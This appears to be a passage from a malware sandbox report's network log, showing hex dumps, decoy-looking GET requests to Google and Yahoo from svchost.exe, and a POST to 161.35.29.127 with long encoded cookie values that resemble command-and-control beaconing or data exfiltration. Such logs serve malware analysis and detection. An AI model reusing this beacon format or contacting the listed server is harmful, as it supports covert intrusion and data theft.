2f fd 5b 00 1b a0 02 18 c6 44 c6 49 01 de 66 54 95 eb 1e 21 0e 92 ab 0e 61 3d fc ad 29 85 5d 2f d7 f0 02 89 a9 7e 02 0b be 63 fb 60 20 72 f2 ac 48 59 7e ad df 47 94 41 a0 96 e1 dd 90 25 00 cf b9 0a aa e1 74 9e 22 ab 42 22 5e Data Ascii: Y06@meTdp1;-l)'DpA`\PiJ }U;$MeCJ_GG@j)$i>uhbR'<Zt0D;?:gO1-uE3nM!(/[DIfT!a=)]/~c` rHY~GA%t"B"^
2021-09-28 07:53:28 UTC	564	IN	Data Raw: 7d 6e 27 16 38 6d d1 cb 25 76 8f 8c 67 0f 76 c1 b9 69 6a 64 10 01 44 db 16 67 ae 17 ca 02 57 64 6a 3e cf e5 f2 5a d8 68 97 ef 1e 2d 48 04 03 f2 8c 82 e5 ed 06 2b 26 40 d3 7d 45 db 08 87 4e 3f 45 ac 20 48 4d 95 9a ad c7 95 35 db a3 73 07 c8 ab 25 14 43 3b 1f 65 8a 26 ff ee c4 d1 cc 75 ca 4b 41 08 15 51 12 d4 fe e6 7c 4d e5 44 e2 57 a8 6c ea a8 bc 5b 06 f1 ba 39 74 81 7a bf 85 2e 2f 6d b1 51 a4 b2 b8 92 65 be 52 25 82 ad b3 f6 09 82 84 53 c9 9f e1 3d 2b ff de 99 08 b5 2b a5 04 c7 ca ad 04 04 43 e6 ea c2 92 5a a8 e0 77 27 b9 3c b6 1f 41 42 b6 81 0a 50 80 74 89 f0 a7 81 75 98 c1 bf 3b d7 85 2f ce 87 e0 59 22 c3 f1 50 96 2b 69 41 a0 fa 18 e3 86 85 5a 72 ff 37 69 f3 e2 2d ef 65 a0 52 69 b6 e2 a4 c1 98 05 b8 2a 7f 2d be 90 68 15 a5 51 24 ae ae 1b 0b 0d 51 03 35 Data Ascii: }n'8m%vgvijdDgWdj>Zh-H+&@}EN?E HM5s%C;e&uKAQ\|MDWl[9tz./mQeR%S=++CZw'<ABPtu;/Y"P+iAZr7i-eRi*-hQ$Q5
2021-09-28 07:53:28 UTC	568	IN	Data Raw: a2 73 45 5f 71 25 5d 34 ca 35 0e 74 cd c1 ab 7f ce 75 78 ea 19 74 6e b6 4c c2 2f 39 98 a9 54 58 a3 ab 7a 66 73 2b c4 a1 13 7b 43 de e4 e0 ce 7c ff c7 ac d1 20 f7 44 84 c3 3d 1e 72 11 ed b4 de b2 9f e7 57 cd 3b b1 4b de 6e 7c 65 15 70 fa 56 ce a4 c9 b8 6b 7d d2 02 6f 23 51 7a 19 ea a3 7a 3e 20 50 b6 39 92 4c f2 9c c8 1a 0c a0 d5 a8 d9 e9 d4 97 8a ad ef 5a 8d 55 78 a1 db ab 58 88 65 d1 3e 3a 75 6c 38 1e e8 39 79 8e ee 05 99 0f ed f5 08 88 ba 94 21 28 21 ec 48 8f b4 6b 42 b5 46 6c e6 99 f9 10 5e cc 22 87 22 9d 85 3f 34 e4 e2 56 37 90 82 ba 43 33 75 dd d1 bc 3d 29 05 b9 96 80 a4 88 9e 97 3e 01 55 b6 0f 32 e8 80 97 c1 ed fc 88 14 63 79 72 5b 2f c0 41 b0 c6 aa 1b 88 17 9c d4 84 f7 24 30 ed c3 af 1e d1 4c 8c de 8e 25 67 8e 78 b2 1d 41 9f f8 3d 8c be b6 e8 e9 24 Data Ascii: sE_q%]45tuxtnL/9TXzfs+{C\| D=rW;Kn\|epVk}o#Qzz> P9LZUxXe>:ul89y!(!HkBFl^""?4V7C3u=)>U2cyr[/A$0L%gxA=$
2021-09-28 07:53:28 UTC	572	IN	Data Raw: 5e eb 27 22 fa 2d b8 64 94 87 7d 1d a3 3f 4f 53 f6 55 f3 af de a9 bc e7 04 f7 2d 4c b8 aa 4a b3 db 87 58 d8 d1 7a 71 23 16 ba e4 3d bc cd 4b e8 a8 6a f0 fe 17 76 85 01 e1 f4 d0 1d 7e d5 c9 17 9e 62 74 63 66 be b1 e0 86 ce 54 c7 ec 50 60 c7 a5 73 8e e6 e2 eb fd 5b d1 74 64 53 53 2a 34 50 5f 28 65 f0 a4 0d 4e bd 37 14 c0 0c e4 0f a7 32 d6 be d8 3a b5 63 5d a4 1b 12 92 d2 f0 d1 d2 f2 ca aa c8 e1 ae c7 0b 84 b7 0d 86 df a4 71 b4 93 b9 18 2e 1b 60 3f 2b 39 9e 45 85 14 68 02 73 fc b8 21 49 68 20 c3 63 a5 a2 f2 1a ee aa 5f 8b 31 64 d0 b7 11 24 5f df 19 da 4e 86 53 04 a0 3f 24 49 25 c9 dd 7d df 9a e2 db ab 27 bf 50 9e 46 d6 77 db a0 65 b1 d5 6d 26 e2 1c bc 88 d9 fd c0 6c 1b 05 dd b0 37 54 f1 8b 7b 3a 67 70 75 01 f2 51 cf 0d 7f 70 e4 a2 62 a0 6f ec 31 a3 73 fe 07 Data Ascii: ^'"-d}?OSU-LJXzq#=Kjv~btcfTP`s[tdSS*4P_(eN72:c]q.`?+9Ehs!Ih c_1d$_NS?$I%}'PFwem&l7T{:gpuQpbo1s
2021-09-28 07:53:28 UTC	576	IN	Data Raw: 03 bd fe 27 c1 7c 3a c8 2f ef ca 3c a8 3f 6e e0 fd 18 ce e0 c6 2b 80 94 71 a1 10 54 38 1e 88 3d 31 46 0e 29 de ff 8b 60 c5 86 ec 22 6e 8a cd 05 af d9 81 45 8a b3 6a fe 70 43 15 51 24 5e b5 39 35 24 71 fe 55 b0 df 29 7a 83 a4 6e 17 aa e5 ac 29 b6 60 1d 78 3c 4c 66 92 0b f2 fa e6 8e 7a 8a aa 00 c2 bf de 86 09 74 89 f6 12 a0 7f 2f b0 3d 4c 33 8f f5 c1 a4 ed 48 48 7f 99 6a 50 f5 1e ed 63 8f fe ba 4c 89 2c 13 53 71 71 fe 60 a6 b9 71 01 60 9a 5a 37 09 77 60 4a de 1a 79 30 5d 32 3c 71 a1 99 4a 55 56 6e 1a 9a 46 dc 7e fd 4a 6f 61 3c 46 a7 2d 38 ae 47 03 0e d0 98 72 8f e5 dd 0f d8 f1 26 e8 11 60 b5 9a a0 4b 65 9a 06 d2 d2 ae 59 5b 34 e7 f8 b3 7e 73 0c 5b 84 a1 36 17 51 48 3d c4 a0 ef c2 eb db 27 1a 34 09 e2 f6 b0 b9 89 0f 58 6f 6b 6a 16 48 b4 ab ab 49 8a 9d a7 b8 Data Ascii: '\|:/<?n+qT8=1F)`"nEjpCQ$^95$qU)zn)`x<Lfzt/=L3HHjPcL,Sqq`q`Z7w`Jy0]2<qJUVnF~Joa<F-8Gr&`KeY[4~s[6QH='4XokjHI
2021-09-28 07:53:28 UTC	580	IN	Data Raw: 41 f3 6e 2e 4b c8 b5 d5 ac ea 00 d7 0c 5e de 75 f9 fb 81 3f af 57 70 56 db e3 84 be 0b 4e dc 30 75 0a 4a 6c 10 19 5b 41 c5 30 f0 37 b8 e4 c0 0e d6 c9 34 5e 3a ce 6f 2c be 8e 76 b9 ef 0d 89 3f f0 1d 7c 53 5f c0 78 5b 17 ac d8 ca 55 3c a5 55 61 7f 31 97 b9 38 ab e6 a0 97 c1 a8 12 7a 49 1c bb 0a f6 a2 2a eb 27 69 bd 48 6c b6 c3 56 ff a9 84 3f af 1d dd ed 2d 6d bf 1f 60 05 fd 5c 72 6a 2c c5 f0 90 01 fb 77 1a bc 85 d3 fb da 64 25 76 18 8c 7f 7c d8 2e 46 0d 86 bc 18 0a 67 db 2b bc 17 9e 92 05 4d e4 a3 1c 12 c7 3e 53 99 af d7 0b ab 74 66 ed 28 91 18 22 ad bd 90 a7 74 4e c3 1d 89 7a df 60 40 c1 db cf 03 86 2e 4d 66 fb 72 ed ab c3 08 0e cc 5b 48 66 2d 7c 76 5e 50 1f f5 96 e0 0c 4a 70 9b 97 fc 1f 13 af 77 2c c0 c3 bd 39 c5 b5 1e 3e 9f bf 62 04 2d fa 06 1c 00 43 b4 Data Ascii: An.K^u?WpVN0uJl[A074^:o,v?\|S_x[U<Ua18zI*'iHlV?-m`\rj,wd%v\|.Fg+M>Stf("tNz`@.Mfr[Hf-\|v^PJpw,9>b-C
2021-09-28 07:53:28 UTC	584	IN	Data Raw: 19 3e f3 cb da 19 45 fe f7 3f cd 35 dd cc e9 9a 17 64 ac 76 78 c3 07 fb e8 74 48 cd f9 95 9c f7 2b 65 62 66 e2 e1 d0 ca d9 f8 f4 80 ff 4d 03 f5 05 1d 41 78 3f 63 b5 83 73 eb 69 16 34 8a 9d bc 65 b5 17 bd 00 b6 81 6a 0a 29 db 7e b5 b0 69 01 18 21 09 d9 67 1a e5 c2 80 c5 30 ce 11 9f 21 14 5b 82 86 47 91 93 dd 0f 1d ac 3e 5e 76 56 f9 90 53 f2 8e ca 7b da 51 25 7b 13 ef 23 98 ac 20 3e 62 50 c7 7d 41 bb e1 fd 11 00 a4 09 c1 b9 b7 25 bd f2 a8 d6 72 c7 93 70 77 95 4c 01 a1 78 46 6d 77 76 a0 68 8d 6b 97 53 57 d1 1c 44 f7 ad 67 7a 1d b5 30 69 58 33 af c6 a9 b8 e5 e5 8d bb fb 57 af 82 15 04 dd 91 34 02 a4 7c 66 95 8f 1f c6 3c f0 98 85 f1 7c 7a cb d4 d3 63 29 f6 02 63 bd 1e 97 fd 3b e5 9e 00 c9 9f f2 0b 37 ec c4 a8 74 46 f9 c3 18 80 80 1d 2f e4 c0 3b 58 35 7a f6 c5 Data Ascii: >E?5dvxtH+ebfMAx?csi4ej)~i!g0![G>^vVS{Q%{# >bP}A%rpwLxFmwvhkSWDgz0iX3W4\|f<\|zc)c;7tF/;X5z
2021-09-28 07:53:28 UTC	588	IN	Data Raw: d6 9d d2 82 22 8a 5e 70 a0 69 1a 3f 0a dc 73 0a 72 94 a7 61 5b 76 7d 5b f1 bd a0 51 d6 e3 03 7e 1a 41 a9 3a 75 71 16 9c 33 14 08 a3 42 da 92 21 05 b0 16 ce de 44 2b de ca eb 92 af ae 37 51 61 89 bf 45 7e 3e 7c b6 42 25 f8 e1 72 1e 4b 50 73 ec eb 78 a0 ac 4d 77 96 9c 7b bb 20 03 49 2b 88 2d e0 82 60 c3 0c 8d dd bb 37 5d 4f ff 56 5a 53 b1 5f d5 69 5b 80 b3 57 4e e3 00 88 e6 1c d0 5e 7e ea 1e e8 46 60 38 64 81 c0 a5 15 f7 49 32 96 dd bb 6e 79 e4 12 8e b6 50 0f 7b a1 ff 4c 0a 15 ab 02 98 cd 1b dd 13 a2 be 65 4c 3b 05 20 f4 e2 8e 6e 78 33 a6 de 78 e8 56 ae 8f 50 40 2b 2f 71 f6 40 8d f5 66 48 4b b7 48 40 99 2c f3 b5 20 5c 55 fc d5 52 be 08 b5 0d f5 04 25 98 e1 d3 e4 2f 1d df 32 6c d9 57 61 9f b9 24 29 25 db ab 7b b7 04 60 c9 ce d7 60 46 0f 6e be c7 de 28 db 6c Data Ascii: "^pi?sra[v}[Q~A:uq3B!D+7QaE~>\|B%rKPsxMw{ I+-`7]OVZS_i[WN^~F`8dI2nyP{LeL; nx3xVP@+/q@fHKH@, \UR%/2lWa$)%{``Fn(l
2021-09-28 07:53:28 UTC	592	IN	Data Raw: b8 bc 76 3c 34 50 bf 39 a1 ba c8 9a a0 d6 bd 3c 67 46 a1 43 be d3 a7 e6 0b 25 3d 7d 4f 0f 6b 61 d8 ca 26 c1 fc 27 b2 22 65 e1 0c 28 3c cf b5 9f 72 5a 86 e8 9b 5c a7 5e 92 40 6d 2e c7 c5 f5 b9 e5 a3 10 54 eb 22 b8 ea b9 9e 73 66 20 44 9d e9 a7 53 04 7b 87 51 ec 85 45 54 da 2a 32 56 2b bc 7d 39 1e ac 15 2a 76 c0 0c 53 e5 88 bb 3f 3d 89 8c 3f dc 2c 5d 62 57 ca b0 34 cd 5d be 5f af 9d 5b 32 6c 23 7f ac fc d6 f0 59 3f 0a 35 8d 07 58 ed 35 80 09 a1 57 4a d6 36 f6 63 2e 46 e4 ad 4a 8f 01 fd cc 7d 4e c4 f5 34 d7 55 bc 5d d5 f2 fb 84 2a 99 89 e7 47 d1 07 6a 3d 3f 49 13 65 6b 97 21 88 b7 ce cc 6d 86 d5 09 74 eb 64 1f 61 49 90 57 ea 0e b3 96 4b 0d 2b d6 c1 06 1e 69 44 d1 f3 4a 7f f7 8e 00 62 d5 00 60 3c 30 57 96 25 5d ff ca 8c dc 0f 0a 65 88 22 97 5b 0d fb 5c 11 d6 Data Ascii: v<4P9<gFC%=}Oka&'"e(<rZ\^@m.T"sf DS{QET2V+}9vS?=?,]bW4]_[2l#Y?5X5WJ6c.FJ}N4U]*Gj=?Iek!mtdaIWK+iDJb`<0W%]e"[\

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.3	49968	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:09 UTC	983	OUT	GET /9Hhrz5mDbrn8Qrv6BhSyJu3i1bmvariZy941x0wnp/oumUiownvnB1p3zqdjXl3u72hsc5nbkN77b/zbgW6z9Uin15G7c5jr0cyeasu7qV3dc104wqjXchakt1d/ibksz5L9x2rkvfxc5k6evO3v/uiz5ke6ChX71rpTvub63jnhzzdjN5pnvq9YYonbas5w3q56f/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:09 UTC	984	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1759 Date: Tue, 28 Sep 2021 07:54:09 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:09 UTC	984	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:54:09 UTC	985	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.3	49969	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:10 UTC	986	OUT	GET /zenkwexiMwvifihevyftylw6ita8VpkP9/dqrQyocp7zizlBZ6cj3CxfomrRQqclmav73p47xir47x4/6b66Rrazdf7znb2u63fL17mhBfwzxphqf40h43lxca/uo6tbeu5ks49j6cl3Jnim0pjdudt6v163xP82f0Zt/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:10 UTC	986	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:09 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 10 server: ATS Content-Length: 906 Age: 1 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=d6hekuhgl5ih2&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:10 UTC	988	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 31 30 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:10 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:10 UTC	988	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 7a 65 6e 6b 77 65 78 69 4d 77 76 69 66 69 68 65 76 79 66 74 79 6c 77 36 69 74 61 38 56 70 6b 50 39 25 32 66 64 71 72 51 79 6f 63 70 37 7a 69 7a 6c 42 5a 36 63 6a 33 43 78 66 6f 6d 72 52 51 71 63 6c 6d 61 76 37 33 70 34 37 78 69 72 34 37 78 34 25 32 66 36 62 36 36 52 72 61 7a 64 66 37 7a 6e 62 32 75 36 33 66 4c 31 37 6d 68 42 66 77 7a 78 70 68 71 66 34 30 68 34 33 6c 78 63 61 25 32 66 75 6f 36 74 62 65 75 35 6b 73 34 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2fzenkwexiMwvifihevyftylw6ita8VpkP9%2fdqrQyocp7zizlBZ6cj3CxfomrRQqclmav73p47xir47x4%2f6b66Rrazdf7znb2u63fL17mhBfwzxphqf40h43lxca%2fuo6tbeu5ks4

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.3	49970	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:10 UTC	989	OUT	GET /iButv9s4rkH24tr3Gy9/bmznt9UJX8nzh5PnvFYjyb5m408iAPQiOvWw0kvK5iXqet5/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:10 UTC	989	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:10 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 7 server: ATS Age: 0 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=2bprkhhgl5ih2&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:10 UTC	990	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 31 30 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:10 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:10 UTC	990	IN	Data Raw: 32 63 30 0d 0a Data Ascii: 2c0
2021-09-28 07:54:10 UTC	990	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 69 42 75 74 76 39 73 34 72 6b 48 32 34 74 72 33 47 79 39 25 32 66 62 6d 7a 6e 74 39 55 4a 58 38 6e 7a 68 35 50 6e 76 46 59 6a 79 62 35 6d 34 30 38 69 41 50 51 69 4f 76 57 77 30 6b 76 4b 35 69 58 71 65 74 35 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2fiButv9s4rkH24tr3Gy9%2fbmznt9UJX8nzh5PnvFYjyb5m408iAPQiOvWw0kvK5iXqet5%2f';if(window!=window.top){ document.write('<p>Content is currently
2021-09-28 07:54:10 UTC	991	IN	Data Raw: 0d 0a Data Ascii:
2021-09-28 07:54:10 UTC	991	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.3	49981	161.35.29.127	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:11 UTC	991	OUT	POST /feed/news/last HTTP/1.1 Content-Type: application/x-www-form-urlencoded Cookie: HSID=kJ2vBKELQjx6ucm4FxbksBXik9k0FMXL6puCdW1zo1lnOZuvqJyVnefTLrV2ilJxfKfLv51B2CA8ikk2KIk9eEXE4IfwrD047SyGcQ1mQpV55f2%2BYXnyCLrYdmzn%2BKgH2lsSY5F7aVm7HOE%2FKSHAebwekcfXNGnIC8uXK7cUkDpvOJdoc4akhISPgxWWmD2FhcttG8TxMzyL0AOE9ZhicDm%2BIVv4o1r5V%2B%2FAgvmqRXF7urnJgZzR8DujOUbPv2lqlX4%2Fr0fsMtVBQa8F%2FoSylo4wsV%2BM7zfqBkrfIMP%2FrHh1VOGJBnH5qziolI4PtqFWRbgckXgditkZytkr5kkmIw%3D%3D;SIDCC=KS3GQ9IUhzLHXXdW%2BTVp0lNqvNwZ%2Bfs8KEC6dCRDtTBAxCQCspkerxjnjXNnIpUxGi5fUi8Mmc4sZTcPsQxrQfdFGNjiw5yxaULcaJ9vmyzh5t9H7ouXyUuVVSaqEt3sdRS6k917LlRRFwff0M2g6GQEAR%2F92Qc1Osj1q6JuhIZInc2jny9y0BWX6yIr7LP9qEggZN2Zf3XeU%2F66yZoogNWKwGmJoEiPvc%2FbOPrEpHp69MWb7phACxHi0rBtts8VX8JugcQT9JLasLYQTnrIB%2FRObsCXkLCbIPDCj%2Fx%2BQguCZfCSXRzXuOHKsg0zDW5KV9AaYPUsPZa8Z0nll1tiAg%3D%3D;SID=5fkSaUfdxuXZma4HGU2mrRRXK24BY6ygL%2FdocxfZlcSyEyZ9opCEmMn9z6f1RdTvSF1JS7BR324qM2ormxazE%2B%2BTr1dYnSGt2UfSwYFFG%2BoMcCX1b1uPZG0E4tyPvNywyBFFxj%2Bt0TfVv90nFPdajDaxUXqdHA%2Bze3HCIVnn2wFzG5Jb2NBlpOF8i7EInduUC3s8IXZAdjM%2Bbi4Y%2BcRBp%2FYhW63twot9m3%2BmF4sIxo%2BbZALpCgMrSaoJ1UUYdNS87Hl8laTAhnR5ynl0oAm5psaW5FlsPtv%2B4oiE%2B8HxhQAe7Wifi9LNg4mr0%2FSLZf1A4oVZxFz5BTd%2BplxMZ%2F